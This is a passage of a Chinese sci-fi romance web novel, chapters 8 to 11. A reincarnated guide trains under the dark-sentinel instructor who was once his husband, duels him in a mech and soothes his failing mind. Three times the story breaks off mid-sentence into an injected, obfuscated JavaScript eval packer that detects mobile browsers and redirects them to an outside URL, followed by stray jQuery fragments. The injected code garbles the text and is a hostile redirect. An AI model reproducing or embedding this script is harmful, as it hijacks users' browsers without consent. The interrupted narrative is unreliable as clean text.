听到声音,傅言才从地上爬起来,额头的汗水将他的头发打湿了些,因为血液循环脸上带着些运动之后留下的绯色,整个人看上去更加俊美,他还眯着上挑的眉眼,笑嘻嘻道,“教官你真厉害。”
靳年扭头盯着正笑意吟吟的人的眼睛,一时间分辨不出对方是在阴阳怪气还是真心实意。
“现在开始,两两组合,自由练习。”靳年双手背在身后,握成拳头,对着新生如是道。接着转过头,对着身边笔直的傅言,“至于你……傅言同学。”
傅言两个字在他的嘴边打了个转,连他自己都没想到竟然有一天还会叫出这个名字,“十公里,如果快一点,应该能赶上午饭。”
说着他勾了勾嘴角,皮笑肉不笑。
“是,教官!”或许因为没有尽全力惹恼了人,傅言皱眉,应该演的再像一点的,小小跑步,不在话下。
不过这种体验还挺微妙的,他以前也教过靳年格斗。只是对方如今的打法和他教过的大相径庭,似乎更加无所顾忌,出拳狠戾凶猛,奔着一拳就要打死人的力道去的。
即使因为是训练收着力道,也掩盖不住对方拳头里的杀气。
傅言瞥了一眼对方背在身后轻轻颤动的手指。
伤……很严重吗?
治疗仓都治不好?
要不要告诉对方自己就是傅言呢?自己还可以继续做他的向导,就不用成为黑暗哨兵了。
可……靳年对傅言又是怎样的想法呢?
虽然都说靳年是因为深爱他才不愿意去除标记,可傅言觉得不是。
靳年其实没有那么爱他的,或许是喜欢,但哨兵对向导本能的依恋多过喜欢。
傅言那时候不在意,说实话他是个很传统的人,他是孤儿,但不知道从哪里学来的观念,他认为只要是组成了家庭,结婚,更多的是需要承担一种责任,至于爱情这种东西,他更相信日久生情,既然已经结婚,就有的是时间培养感情。
所以对于戏称为“包办婚姻”的强制匹配,傅言反而接受度良好。如果是自由恋爱的结合,他反而不知道要怎么做,怎么相处。
傅言也不是一开始就喜欢靳年的,起初也只是把对方当小孩,他三十二岁,不至于真的对一个十八岁的孩子下手,他也是三年的相处,才渐渐爱上自己这个强制匹配来的哨兵。
本以为今后可以并肩作战,却死在了最爱对方的时候。
他并没有那个自信,靳年也同样爱着他。
8. 注意分寸
一天的训练,明眼人都能看得出来,他们的总教官好像不太喜欢这个叫做傅言的新生。
似乎情有可原,谁会喜欢一个顶着自己前夫名字的人啊?不过就是苦了傅言,一整天都在被抓典型。
下了训练回到宿舍之后,邹明对傅言的经历表示了深切的同情。
他踱着步子上前轻轻拍了拍坐在沙发上的人,“傅哥,你是不是得罪总教官了?”
“没有吧?”傅言不明所以,随即似乎想起什么来,“……或许……有吧……”
那天对着他们扫量子弹的人,似乎就是靳年,从身手和身高来看,应该是没错了,怪不得森森那么喜欢他。傅言轻笑,他的量子兽竟然比他先认出老婆。
也不怪靳年看他不顺眼了,一个量子兽骚扰他的人,以他如今的能力,没有直接废了他也是心地善良了。
如果邹明知道傅言对靳年的评价是心地善良的话,估计会直接跳起来,指着傅言的鼻子骂他眼瞎,只是很可惜他不知道。
“你……”邹明看着傅言那张精致的脸,上挑的眼尾带着天然的魅惑,以至于好像看谁都是深情款款的样子,只是性子沉稳不至于太过于多情邪气,但是提起靳年的时候,眼神就柔和了很多,似乎闪烁着细碎的光芒。
邹明脸上的表情变了变,脑子里开始回忆今天一天的训练,傅言被抓典型的过程,很不对劲。
非常不对劲。
见对方摸着下巴,莫名其妙地打量着自己,傅言低头看了看,没有发现什么不妥,疑惑道,“怎么了吗?”
“你……该不会是看上靳年上将了吧?”邹明欲言又止,“所谓的梦男!甚至还把自己的名字改成了傅言上将的名字!”
有时候真的佩服对方的脑洞,比黑洞还要变化莫测。傅言翻了一个白眼,“我没改过名字。”
我就是前夫。
“可是很不对劲,很不对劲啊。”邹明拧着眉头,似乎还在纠结,“你那天的身手和今天很不一样欸……”
“等会儿就要熄灯了,你不打算洗澡吗?去晚了就没有位置了。”傅言打断的深思。
“对哦,我马上去。”
邹明赶紧拿上自己的换洗衣物下楼,新生宿舍楼只有公共浴室,而且热水还是限时供应的,去晚了不仅仅没有热水还没有位置。
训练一天,一身的臭汗,邹明可不想明天顶着一身的酸臭训练。
打发走了人,傅言松了一口气,因为一天的相处,精神海的森森格外躁动,傅言不得己将蛇放了出来。
“嘶嘶——”香,好香……
或许森森感受到就是对方血液的味道,匹配度达到百分之百的向导和哨兵,有着天然的吸引力,量子兽能感知到主人感知不到的东西,特别是进行过标记的向导哨兵,量子兽的接触也可以对对方进行疏导,加速伤口的愈合。
森森能感知到靳年受伤也就不奇怪,傅言有些懊恼,怎么那个时候就没有认出对方来呢?
邹明回来之后看到傅言还坐在客厅的沙发上,双手抵着下巴,似乎在思考人生。
“傅哥,你不洗澡吗?”他洗的时候,已经没有热水了,于是提醒道,“已经没有热水了。”
说着“啪——”一声,灯熄了。
“啊!这也太早了吧?还什么都没干呢?就熄灯了?才十点!”军校这也太严格了吧?邹明打开智能手环。
得!网也屏蔽了,邹明无语,现在都星际时代了,怎么还这么老封建?
余光瞥到沙发上的人动了,“傅哥,你干嘛去?”
“洗澡。”
熄灯才去?见不得人?害羞?邹明嘀嘀咕咕,不过对方确实长得不错,和一堆人挤大澡堂好像和他那张脸不太符合,有点掉价。
傅言当然不能和别人一起挤大澡堂,他可是有家室的人,怎么能在别人面前裸露身体?
至于冷水,向导身体虽然没有哨兵那么强悍,但是冷水澡还是可以洗的,反而是有些哨兵凉水都碰不了,太凉了,因着超常五感,对他们来说就和冰水差不多。
浴室进门先是一个小的公共区域,可供吹干头发或者等人稍作休息,然后左右两边分别是向导和哨兵的浴室,只用普通的帘子做遮挡,进到里面就是一排的柜子,用来存放衣物。这时候已经没有人了。
“哗哗哗——”
傅言迅速冲完了一个战斗澡,随即发现自己的量子兽竟然不见了,放出来之后也没有太在意,毕竟量子兽很少自己乱跑,傅言在精神海唤道,“森森?”
没有得到任何回应。
傅言有时候对自己的量子兽真的没有什么办法,很难说他之所以会成为战斗系向导,没有森森的功劳,很少有量子兽连主人的话都不听,甚至还有取而代之的想法,跳脱到有些抽象。
傅言穿好衣服,谈了一口气,感知到了一下森森的存在,竟然就在隔壁!
要真让他勇闯哨兵浴室,傅言做不出来,只能隔着帘子,在精神海里呼唤,“森森!”
“哗啦啦——”
太过于寂静,以至于傅言将浴室里的水声听地一清二楚,傅言咬牙,不过片刻声音就消失了,就在傅言微怔的时候,帘子被掀开。
傅言和一具裸露的胸膛对个正着,小麦色的肌肤泛着水光,肌肉饱满结实,带着力量的美感,只是左胸口一道狭长的血痂硬生生打破了这种美感,有点狰狞。
靳年一出来就和呆愣立在门口的人对上,他抱着胳膊挑眉,“好看吗?”
傅言这才如梦初醒般回过神来,条件反射地转身,脑子里却反复萦绕对方胸上的疤,为什么会这么重?
“如果我没记错的话,向导的浴室在右边。”靳年的声音再次响起,傅言转身,结果看到的还是赤裸的上半身,眉头皱了皱,眼里闪过了不认同,“你把衣服穿上。”
这里是公共区域,如果被人看见了怎么办?
“我不穿又怎么样?”靳年迈着步子,慢慢靠近,一步一步,像是在傅言心口狂跳,不过瞬间,人就挨近了,近到傅言能感受到对方身上的水汽。
是凉水,傅言眉头皱得更紧了。
这对对方来说和泡在冰水里有什么区别?而且伤都还没好。
“傅言同学。”靳年挑眉对上对方的视线,“现在应该是休息时间,你在这里干什么?”
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579355|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……”太近了,而且很有压迫感,成年人的身体处处透露出力量,像是经历了烈火的锻造一般,打造成了一把坚不可摧的绝世神兵。
傅言目光落在盘旋在对方手臂上的森森,森森已经一脸的陶醉,就连蛇瞳都有些涣散,傅言一滞,“我是来找我的量子兽的。”
“这是你的量子兽?”靳年捏住森森的七寸,小蛇非但没有反抗,还有些意犹未尽地往人身上贴。
那天也是没有看清楚对方的量子兽,他还以为这是哪里来的野兽呢。因着“傅言”的原因,靳年对蛇类好像有着天然的好感。
竟然是对方的量子兽?
靳年眼角抽搐,将小蛇甩在傅言身上,谁知道小蛇眼里根本没有他的主人,从对方怀里落到地上,蛇躯蜿蜒,游动到靳年的脚边,疯狂蹭对方的小腿。
傅言见此也抽了抽,眼见着靳年脸上的表情风雨欲来,立马弯腰揪住森森的尾巴尖拎起来,小蛇还在不停扭动身躯,要往靳年身上贴,傅言戏谑地勾了勾嘴角,“教官,我的蛇很喜欢你。”
靳年:……
我觉得你在开黄腔,但是我没有证据。
众所周知,量子兽的反应代表着主人的真实想法。
靳年表情变了变,傅言生怕对方要拿森森做蛇羹,立即将森森收回精神海。
“滚回你的宿舍!”
见人真的不太高兴,傅言竟然有些委屈,以前可是抱着他的蛇不放手的,现在就这么讨厌?
“是,教官。”
说着转身离开,也不知道是不是被人给气的,靳年觉得胸口疼,以为只是错觉,但这种疼渐渐从胸口开始蔓延,来势汹汹。
靳年捂住胸口,额角抽搐,刚洗过澡的身体往外冒冷汗,手指几乎用力到要将胸口的疤重新抠破,靳年贴着墙壁,闭着眼,希望这阵痛楚赶快过去。
他深呼出一口气,低着头,红色的瞳孔闪烁。
或许……死亡……才是一种解脱?
傅言死的时候在想什么呢?有没有想过他?
靳年轻笑,总是这样,一旦他开始有什么在乎的人,对方就会离他而去,毫不犹豫。
胸口的痛似乎更加剧烈了,但好像并不是生理上的那种痛,而是闷闷的,类似于心酸难过的东西。
沉浸在自己思绪里的靳年,并没有注意到去而复返的人。直到身上被披上一件浴巾,紧接着被人用浴巾裹了起来。
似乎还带着一些沐浴露的味道。
“做什么?”靳年抬眸,不解地看着人。
“穿衣服。”
傅言冷着脸,肖似的一张脸让靳年有些恍惚,但对方略低的身高让他很快反应过来,背后出了一阵冷汗,就像被人泼了一桶冷水。
靳年张了张唇,声音嘶哑,“傅言同学,注意分寸!”
说着他掀开裹着自己的浴巾,拿起旁边自己的衣服套上,然后迈着步子离开。
身高腿长,脊背挺直,渐渐隐没在夜色中。
傅言看着人的背影,身上还挂着对方甩给他的浴巾,眼神暗了暗,情绪杂乱汹涌,就像是一罐爆炸的汽水,喷薄而出,罕见地爆了一句粗口,“玛德!”
9. 机甲练习
第二天依旧是早上七点集合,因为前一夜的事情,傅言整个人气压很低。
但偏偏某个人丝毫不在意,有什么可在意的?他就是一个“傅言同学”,还需要注意分寸。
什么分寸?谁的分寸?哪里来的分寸?
傅言眉头拧得死紧,好看邪肆的眉眼多了几分戾气,看上去像个大反派,邹明实在不敢去触他霉头,也不知道一晚上过去发生了什么,给他傅哥气成这样。
靳年的感官敏锐,一大早就感受到如芒在背的视线。
他不知道傅言究竟是存了什么心思,反正从昨晚对方的行为来看,不太单纯。
靳年皱眉,他一点都不觉得自己的话过分,他没有要找向导的打算,尽管对方和“傅言”有很多相似之处,他也没有找替身的想法。
反而对于这样一个相似的人出现在他的身边,靳年总觉得奇怪,或许是什么阴谋也说不定。
综合来看,他说的话没有一点错处。想明白这些,傅言既然要看,那就由着他看,又不会少一块肉。
今日的训练内容是机甲。机甲是星际战争当中最重要战斗装备。其接入需要使用到精神力,这样在操作起来的时候才能达到人机合一的境界。
机甲最初进入战争都是由哨兵来操纵的,很少有向导操纵机甲战斗。向导更像是医疗兵一般的存在,在大后方为哨兵进行精神疏导。
但很快傅言就发现了漏洞,以精神力操纵的机甲,分明应该是向导的武器才对。
也因此,傅言才有能力进入战场,成为了一名战斗系向导。
作为第一位驾驶机甲进入星际战场的战斗系向导,傅言可谓是载入史册一般的人物。他开了向导上前线的先河,并且极力扶持向导入伍。
而他的号召力也十分惊人,很快一支完全由向导组成的机甲军团便在傅言的倡导下成立了。这些向导天生精神力庞大,不像哨兵那样容易精神海崩溃,再加上体能锻炼,虽然达不到哨兵那样的变态体能,也没有哨兵强大的愈合能力,但有着机甲,他们可以比一般的哨兵还要出彩。
靳年的上司,文森特元帅,也曾是傅言军团里的一名向导,也是傅言的副官,但如今现已是联邦五位元帅之一,也是唯一的向导元帅,很难说这其中没有傅言的影响。
他们的事迹,让向导群体大受鼓舞,纷纷投入军校,参与战斗,而不是为了疏导哨兵而存在,蔷薇军校甚至还因此开设了向导的军事战斗课程。
这其中有一门就是机甲课。蔷薇军校的财力,让他们可以针对向导哨兵精神力体质的不同而配备不同的机甲上课,并且都是如今最先进的机甲。
当然每一个久经沙场军人都会有属于自己的机甲,凭借机甲战斗的向导更是如此,机甲就是他们并肩战斗的最亲密的伙伴。
傅言就曾有一台机甲,和他出入战场,久经生死,是他的老伙伴了,只是可惜他的伙伴在爆炸中成了碎片。
不过说起机甲……
傅言记得自己机甲有保护装置,一但受到损伤就会启动屏障保护,即使是最尖端的量子炮也无法打破的屏障怎么当时就是启动不了了呢?
也正是无法启动保护装置,傅言才最终选择同归于尽,当时情况,他只有这一种选择。
这……真的是意外吗?
或许有机会可以查查,眼前还有更重要的事。
走进机甲训练室,才是真正的叹为观止。虽然很多人并不是第一次见机甲,有条件的家庭,会早早给自家孩子配备属于自己的机甲,作为觉醒的礼物。
但他们还是第一见到这么多FJ-67型号的机甲,整齐划一的一排。
最普通的机甲FJ-12,目前的售价是五百万星币一台,家里有钱的或许会安排好一点的FJ-37,根据配置的不同两千万到五千五不等。
而FJ-67,去年才刚刚发布,使用最新的科技材料,性能一流。价格也十分高昂,甚至外面已经炒到了一亿星币一台,还是最普通的标配。
但这里,一个小小的机甲训练室,就有20台!
邹明做梦都想有一台属于自己的机甲,看到这些的时候眼睛都直了。
“相信你们也看到了,这就是机甲。”靳年自然没有忽视这群新生跃跃欲试的眼神,走到最前面的一台机甲面前,“日后的战斗中,机甲会占据你们一半的时间,它将是你们最亲密的伙伴。”
底下的人一个个眼巴巴瞅着靳年说话,像是等骨头的小狗,迫不及待想要上手摸摸,但因为靳年威名在外,不敢轻易动弹。
靳年将他们的表现看在眼里,内心轻轻笑了一声,手指在机甲上面一按。
只听一阵机械的响动,三米高的机甲矮了下来,舱门随之落下。
靳年勾了勾唇,“我不是学校的老师,教不了你们什么机甲的起源,机甲的定义,如何使用机甲这样的课程。”
“我是你们的教官,我只教你们如何战斗。”
“现在,有谁想要亲自试试?用它,打赢我。”靳年眯了眯眼,在人群中扫视,启了启唇道,“作为奖励,这台机甲就是你们的了。”
新生哗然,不自觉咽了咽口水。虽然真的很想去,但是……
他们的视线落在靳年的银发和红瞳上,那可是黑暗哨兵啊,能打赢吗?
再说,也不是所有人都会操作机甲啊!要是按错了什么按钮,出了岔子可怎么办?
但是……话又说回来……那可是最新的FJ-67啊!
“报告教官!我来试试。”傅言第一个站了出来。
有人开始小声嘀咕,“这不是昨天跑圈的向导吗?”
旁边的人点头,“对,就是他,那个叫傅言的向导。”
“真的叫这个?他不会和教官有仇吧?”
“为什么不能是真爱呢?”邹明听到他们小声议论,忍不住凑上去插了一嘴。
立刻有人反驳,“怎么可能?和靳教官?你不是疯了吧?”
邹明摇晃脑袋,一副你们什么都不懂得样子,“打是亲,骂是爱。不懂了吧?”
转头视线就回落在两人身上。
靳年抱着胳膊,打量着着傅言,一时间不知道对方是故意挑衅还是什么。
他挑了挑眉,“好啊。”
不管是什么,打服就行了。
傅言上了机甲,发现和印象中的机甲还是有些许不同的,没想到不过五年的时间,机甲更新换代的速度如此之快,不过再怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579356|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
变,都是万变不离其宗。
傅言释放自己的精神力接入机甲,森森从他的精神海出来,盘在他的肩头,嘴里吐着蛇信,瞳孔竖起,一副跃跃欲试的战斗姿态。
傅言手指微动,在控制台操作着,只见机甲“嘎吱——”一声,在众人期待的眼神里,冲着靳年跪下了。
还不是单膝跪地,而是五体投地那种。
啊这……这是……
众人额角划过黑线,就连靳年嘴角都抽了抽。
刚要问他做什么,就见机甲的重拳朝着他挥过来,靳年反应迅速,闪身后撤。
“砰——”
机甲的拳头重重砸在地上。
训练室的地板微不可查地颤了颤。众人被他的操作惊得纷纷退避到门口的墙角,乌泱乌泱集满了人,恨不得直接破门而出。
这时候屏蔽罩开启,将靳年和傅言与他们隔绝,众人这才安心不少。
“咳咳……邹明,你和傅言是室友吧?”有人认出邹明来,凑到他旁边问道,“傅言以前驾驶过机甲吗?能力怎么样?我看你们入学试炼的时候一起过来的。”
邹明也是心有余悸,抱着胳膊摇头,“不知道。”
在他眼里傅言就没有不会的东西,飞船能操作,能精神力化刃,还知道关闭黑洞的方式。
机甲应该也不在话下,但看刚才的操作……
又有人问,“你说等会儿教官几招能把他打趴下?”
甚至是开启了押注赌博模式,“我押一个月臭袜子,三招!”
“那我押两个月……”
“三个月……”
“邹明你和傅言熟悉,你呢?你怎么说?”
邹明摇摇头,挺了挺胸膛,“我又没有臭袜子。”
傅言基本了解机甲的内部的操作按钮之后,在原地站定。
在确认对方适应完毕之后,靳年也飞身上了机甲。
精神力接入的瞬间,神经似乎在抽搐,针扎般的痛感只在一瞬。
靳年的量子兽黑豹乖乖地趴在他的脚边。
“教官,我要开始了。”
内部频道传来清朗带着点张扬的男声。
靳年不废话操纵机甲袭击过去。每一次的挥拳,都如同真人的拳头一样,高大笨重的机甲没有丝毫的滞涩感。
傅言一一躲开对方的攻击,并开始回击。这次可没有留手,而是使出了全力。
经过昨晚的事情,他和靳年此刻的想法不谋而合。
打服就好了。
森森感受到主人的杀气,嘶嘶两声,似乎在助威。
傅言一个扫腿,肘击,加上锁喉,招式一一都被化解。这一刻,他对靳年的成长又有了新的认识,他们竟有了旗鼓相当的架势。
以前被他打趴下也不服输的小孩,现在已经足够强大了。
傅言愣神的工夫,就被人一个肘击打中面部,显示屏滋啦两声,闪着雪花,三秒钟后才恢复正常。
靳年的声音在频道中有些失真,隐隐带着怒气,“谁教你在战斗时候走神的?这么想死?”
“我可不愿意死,教官。”傅言拦腰抱住对方的机甲,用力一翻,将对压在地上,“死了,还怎么注意“分寸”?”
10. 精神疏导
眼见着他们眼里凶狠毒辣坚不可摧的靳教官被压制。
“嚯!”新生哗然,“这是真的吗?他究竟是什么来头?”
“我懂了!他其实是傅言上将的私生子,其实靳教官是他的小妈,可怜的孩子从小没了父亲,于是对这个抢走自己父亲的小妈怀恨在心……”
“其实傅言上将如果年少轻狂一点,可能真能有这个大的孩子……”
邹明将他们的讨论听得清清楚楚,说实话很离谱,但竟然还有点合理?“想什么呢?如果真的是私生子,怎么可能和老子一个名儿啊?”
“但是我看过星网上傅言上将的照片,他们真的好像啊。”
“真相只有一个!”一个人突然如梦初醒一般,右手握拳在左手一拍,“他其实就是傅言上将本人,灵魂不灭,为爱而来!”
“行了吧?越说越离谱了。要相信科学啊。”
“来了来了,我就说教官怎么可能被他压制住,一定是教官放水了!”
只见靳年操纵机甲,光刃从肘侧而出,直抵傅言要害,傅言闪身一退,光刃同时出鞘格挡住靳年的又一次攻击。
“反应很快,不过还是要多练几年才行。”频道里靳年的声音带着他这个年龄独有的狂妄。他也不过才26岁的年纪,正是好斗的时候。
说着靳年操纵机甲快如闪电,闪身至傅言的身后,飞脚一踹,傅言来不及躲闪,只能侧身避开要害,但还是被踹中了腰侧,随即光刃挥出,立刻便被人躲开。
“太慢了。”靳年冷声嫌弃,似乎嘲讽一般学着傅言挥出光刃,根本看不清,光刃便至眼前。
胳膊上被光刃划了一刀,人倒是不会受伤,就是机甲的反应会慢很多。傅言皱了皱眉,靳年的量子兽是黑豹,意味着这人在速度上面有着绝对的优势,和他比速度,他是绝对比不过的。
于是他改变策略,直接放弃光刃,改用力量压制。继续用着刚才的格斗方式,用机甲的力量扼住靳年的手腕,试图将整个机甲掀翻。
靳年看出他的想法,两个人的力量互相角逐着,也都放弃了光刃。傅言操纵机甲的右臂挥拳,被靳年躲开,紧接着就是一个旋身飞踢,靳年本来可以躲开,但是却在场上楞了一瞬。
也就是这一瞬,露出了巨大的破绽,被傅言再次掀翻在地。这次更是整个将人压制住,靳年的机甲想要翻身都难。
三米的铁疙瘩,硬生生被傅言操纵出了一种巨蟒的感觉,将人缠得死死的。
机甲内部,傅言已经满头大汗,他肩头的森森还在为主人呐喊助威。想象中靳年的攻击并没有出现,傅言眼里闪烁着疑惑,略微向后移开了些。
靳年感受到了熟悉的疼痛,黑豹在他的脚边躁动地嘶吼着,那双金色的兽瞳渐渐染上红色,两只前爪锐利的指甲不停地抓挠,机甲内部瞬间出现了几道野兽的抓痕。
渐渐……
黑豹的动作幅度变小了,前爪无力地垂着,嘶吼变成了呜咽,在靳年的脚边缩成一团,最后消失在靳年的精神海。
等到靳年适应了这种刺骨的疼痛,松开紧咬着的下颌,声音干涩,“小黑?”
“……小黑?”
精神海一片寂静。
察觉到什么,靳年认命般闭上眼睛,复又睁开,冷静地打开频道,声音里除了有些沙哑之外,听不出一丝波澜,“你赢了。”
傅言退开,刚才的某一瞬间,森森特别躁动,几乎控制不住现在的体型,想要破甲而出,但是也不过一眨眼的工夫,就停止了躁动,甚至有些蔫蔫的,不像平时的他。
傅言打开机甲,看到靳年从机甲上出来。
安全屏障撤除,邹明第一时间迎了上来,猛地拍了拍傅言的肩膀,“牛啊傅哥!你打败了教官!这台机甲是你的了!”
傅言脸上的表情很淡,目光落在靳年的背影上,轻轻嗯了一声。
他很不爽,似乎对方的背影出场次数太高了,就好像自己只能看着他的离去一般。
傅言想要冲上去将人拉住,却没有立场,犹豫的刹那,就被一群人围了上来,叽叽喳喳的。
“哇塞,你太牛哥们儿……”
“你是叫傅言吗?我叫……”
“你还缺哨兵吗?我能不能摸摸你的机甲?”
……
傅言皱着眉打发了人,从人群里脱身,向着靳年离开的方向看去,那里早就没了人。
好不容易熬到下午的训练,却仍旧没有看到靳年的身影。傅言隐隐不安,就连训练也都漫不经心的。
——
靳年睡了一下午,睡得昏天黑地头脑发晕。脑子里才总算好受了些,没有了小人儿拿着锤子锤你的神经。
“小黑?”他在自己的精神海里唤道。仍旧没有任何回应,反而让头脑再次发胀。
向导或者哨兵的精神海都会有自己的精神图景,量子兽就如同养在精神图景里的小宠物。
根据量子兽的不同特性,每个能力者的精神图景不尽相同,有的是雪原冰川,有点蓝天绿茵,有的是望不尽的深海,也有人世炊烟。
靳年的精神图景,原来是荒漠里的一间小房子,房子温馨漂亮,小黑时常在里面撒欢。但现在,只有一望无际的深渊,黑暗彻底侵袭了他的精神海。
窥不到精神图景的真容,如今就连小黑也彻底消失在这黑色的深渊之中。
在将来的某一天,深渊也终将张着巨口将他吞噬殆尽。
靳年紧了紧眉头,揉了揉酸胀的额角,脸上没有什么表情,苍白空洞得如同一张画纸。
这是在他选择成为黑暗哨兵那一刻起就已经注定了的结局。
但他从未想过过程会如此的痛苦难熬。战争,机甲,异兽,星舰,似乎成了他的组成部分。
但他始终不明白,为什么会有人为此甘心赴死,为了所谓的联邦,为了荣耀,为了保护星际的每一位公民,甘心赴死。
他不明白,所以便选择自己去探索答案,但仍旧不明白。
明明这是一件那么痛的事,或许只有当他真正面临那一刻的时候,才会真正明白吧。
靳年拖着自己生了锈的身体,踩在地板上的那刻,人还有些飘,胸口上久不愈合的伤也终于结痂,生长出新肉来。
他摸了摸胸口,不流血,也不痛了。
“哗啦啦——”
冰凉的水流打在身上,透彻心扉,但靳年如今感官迟缓,并没有觉得无法忍受。
一阵酥酥麻麻的触感从脚踝蜿蜒向上,直到爬到腰侧,靳年伸手将那东西捉住。
“是你啊?”看到碧绿带着黑色花纹的小蛇,靳年眼神柔和下来,手指在盘在他手腕上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579357|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蛇头上轻点,“小家伙,你怎么又来了?”
小蛇亲昵地在他指尖蹭蹭,“嘶嘶——”
不知道是不是错觉,总觉得今天的小蛇有些蔫儿。
蛇躯温凉,鳞片贴在肌肤上像玉石一般的质地,冲着他吐信子,在靳年的指尖舔了舔,很是乖巧可爱。
虽然很想把对方当成普通的宠物再多摸摸,但深知这是某个胆大妄为的新生的精神体。
靳年将小蛇放下,戳了戳它的脑袋,“快回去。”
“唔……”
蹲下身的瞬间,头痛欲裂,一阵巨大的风暴在脑子里席卷,搅得他不得安宁。
这很奇怪,近两天发作得太频繁,几乎不给他反应的时间。以前虽然不规律,但起码不会像现在这样,刺痛频频来袭,且有越发严重的趋势。
靳年倚靠着墙角坐下,水流还在不断流淌,打湿了他的一头银发,贴在额头,遮住了眉眼。
他低着头,闭上双眼,企图通过意志来抵抗精神海里的刺痛。
痛楚一波一波袭来,先是脑袋,最后几乎蔓延至全身。其实他也不太确定身上到底疼不疼,可是脑子里的神经已经无法分辨究竟是哪里在疼,怎么个疼。
根本分辨不清,只能在这种难以言喻的疼痛里煎熬着。他疼到想要把自己蜷缩起来,藏进一个小角落里。
“唔……”靳年死死咬住自己的下唇,不让痛吟出声。
怪不得黑暗哨兵活不过三十岁,就这,他甚至想自己结果了自己。
靳年咬着牙撑起身体,紧紧贴着墙壁,关了水阀。如果他真的痛死在这里,然后赤身裸体被人发现,那也太丢人了。
联邦最年轻的上将,强大的黑暗哨兵,蔷薇军校总教官,起码要保留最基本的尊严不是。
靳年脚步微晃,眼前阵阵发黑,连这几步路都看不真切。
傅言如同昨日一般等在门口,看到的画面如同时光回溯。
靳年的浴巾只堪堪裹住下半身,甚至还有些松垮,上半身裸露着,浑身的肌理如同一只豹子,宽肩窄腰。
傅言眼睛眯了眯,微不可查地叹了一口气,正要转身留给对方穿衣服的空间,就见人直直倒下。
傅言瞳孔微怔,将人接了个满怀。触手是一片冰凉,银发湿漉漉贴着头皮,嘴唇泛白,紧闭着双眼,睫毛轻颤,似乎在忍受着巨大的痛苦。
傅言搂着人坐在休息的沙发上,让人靠着自己,精神力触手进入人的精神海,却遇到了厚厚的精神壁垒。
他曾经不费吹灰之力就能进入的精神图景,如今却十分排斥他。
傅言皱眉,心里不爽,精神力在厚重的壁垒上轻轻戳了戳,怀里的人却是一颤,如同受到重击,呻/吟出声。
明明精神图景就在眼前,却被阻拦在外,傅言的精神力在壁垒之外逡巡试探,但始终不得其法,就连森森都在旁边急得团团转,盘绕在靳年的脖子上,脑袋不停地往人身上蹭。
森森:小猫呢?我的小猫呢?快让我见见我的小猫!
但这除了让怀里的人更难受之外,根本做不了任何疏导。
如此下来,傅言额头上也冒出细细密密的汗珠。
他轻轻拍了拍怀里的人,在人的额头落下一个温柔的吻,语调也柔和着,带着轻易就能察觉的深情,“乖,让我进去。”
11. 细心栽培
熟悉的声音让靳年有一瞬间的空白,似乎穿越了时空一般,让他分不清这里是梦境还是现实。
痛意朦胧了双眼,他似乎看见了傅言,那双总是含着温柔的眼睛,动作轻柔地如沐春风,似乎总是害怕他会疼,于是做什么都轻轻的,不厌其烦帮他用精神力屏蔽超常五感。
除了在某些方面有着奇怪的恶趣味之外,是一个很温柔的人。
他在人的怀抱里找到了熟悉的感觉,将自己彻底放松下来,埋进人的胸膛,像是很久很久之前那样。
察觉到精神壁垒的松动,傅言的精神力见缝插针进入了对方的精神海。精神力感知到的一切,让他全身发冷。
靳年的精神海什么都没有,只有无尽的黑暗,傅言没有见过黑暗哨兵的精神海,但也知道这样的状态非常不好。
傅言的精神力分成无数的小细丝,在无尽的黑暗中不停地挖呀挖。
森森进入靳年的精神图景之后便迅速没影了。
清扫出一部分黑暗之后,傅言的消耗也不小,精神力几乎要枯竭,但好在结果是好的,靳年的脸色肉眼可见地好了很多。
然而简单的精神疏导始终杯水车薪,没有向导的深度结合,精神海还会持续被污染,最后的结果不言而喻。
况且如此深的精神污染并不是一天形成的,想要彻底清除污染,也不是一次简单的疏导能够做到的。
傅言收回精神力,怀里的人突然轻轻颤了颤睫毛,傅言知道对方这就是要醒了。
察觉到自己正躺在某个人的怀里,精神海的刺痛已经消失,甚至前所未有的舒畅。
靳年眨了眨眼,从对方怀里坐起来,脸上的表情变换,最终皱着眉头,连人也不正眼看,干干巴巴道,“谢谢。但以后不用做这些没用的事。”
“什么叫无用的事?”傅言也跟着皱眉,一双好看的眼睛彻底冷了下来,“教官一言不合就往我怀里倒,还抓着我的量子兽不放,难道让我袖手旁观?”
“再说我是向导,教官是哨兵,精神疏导不是很正常?说不定我们的匹配度还挺高呢?教官真的不考虑考虑我?”傅言冲着人挑眉,天然上挑的眼尾带着一丝魅惑,挑衅被他弄得像调情似的。
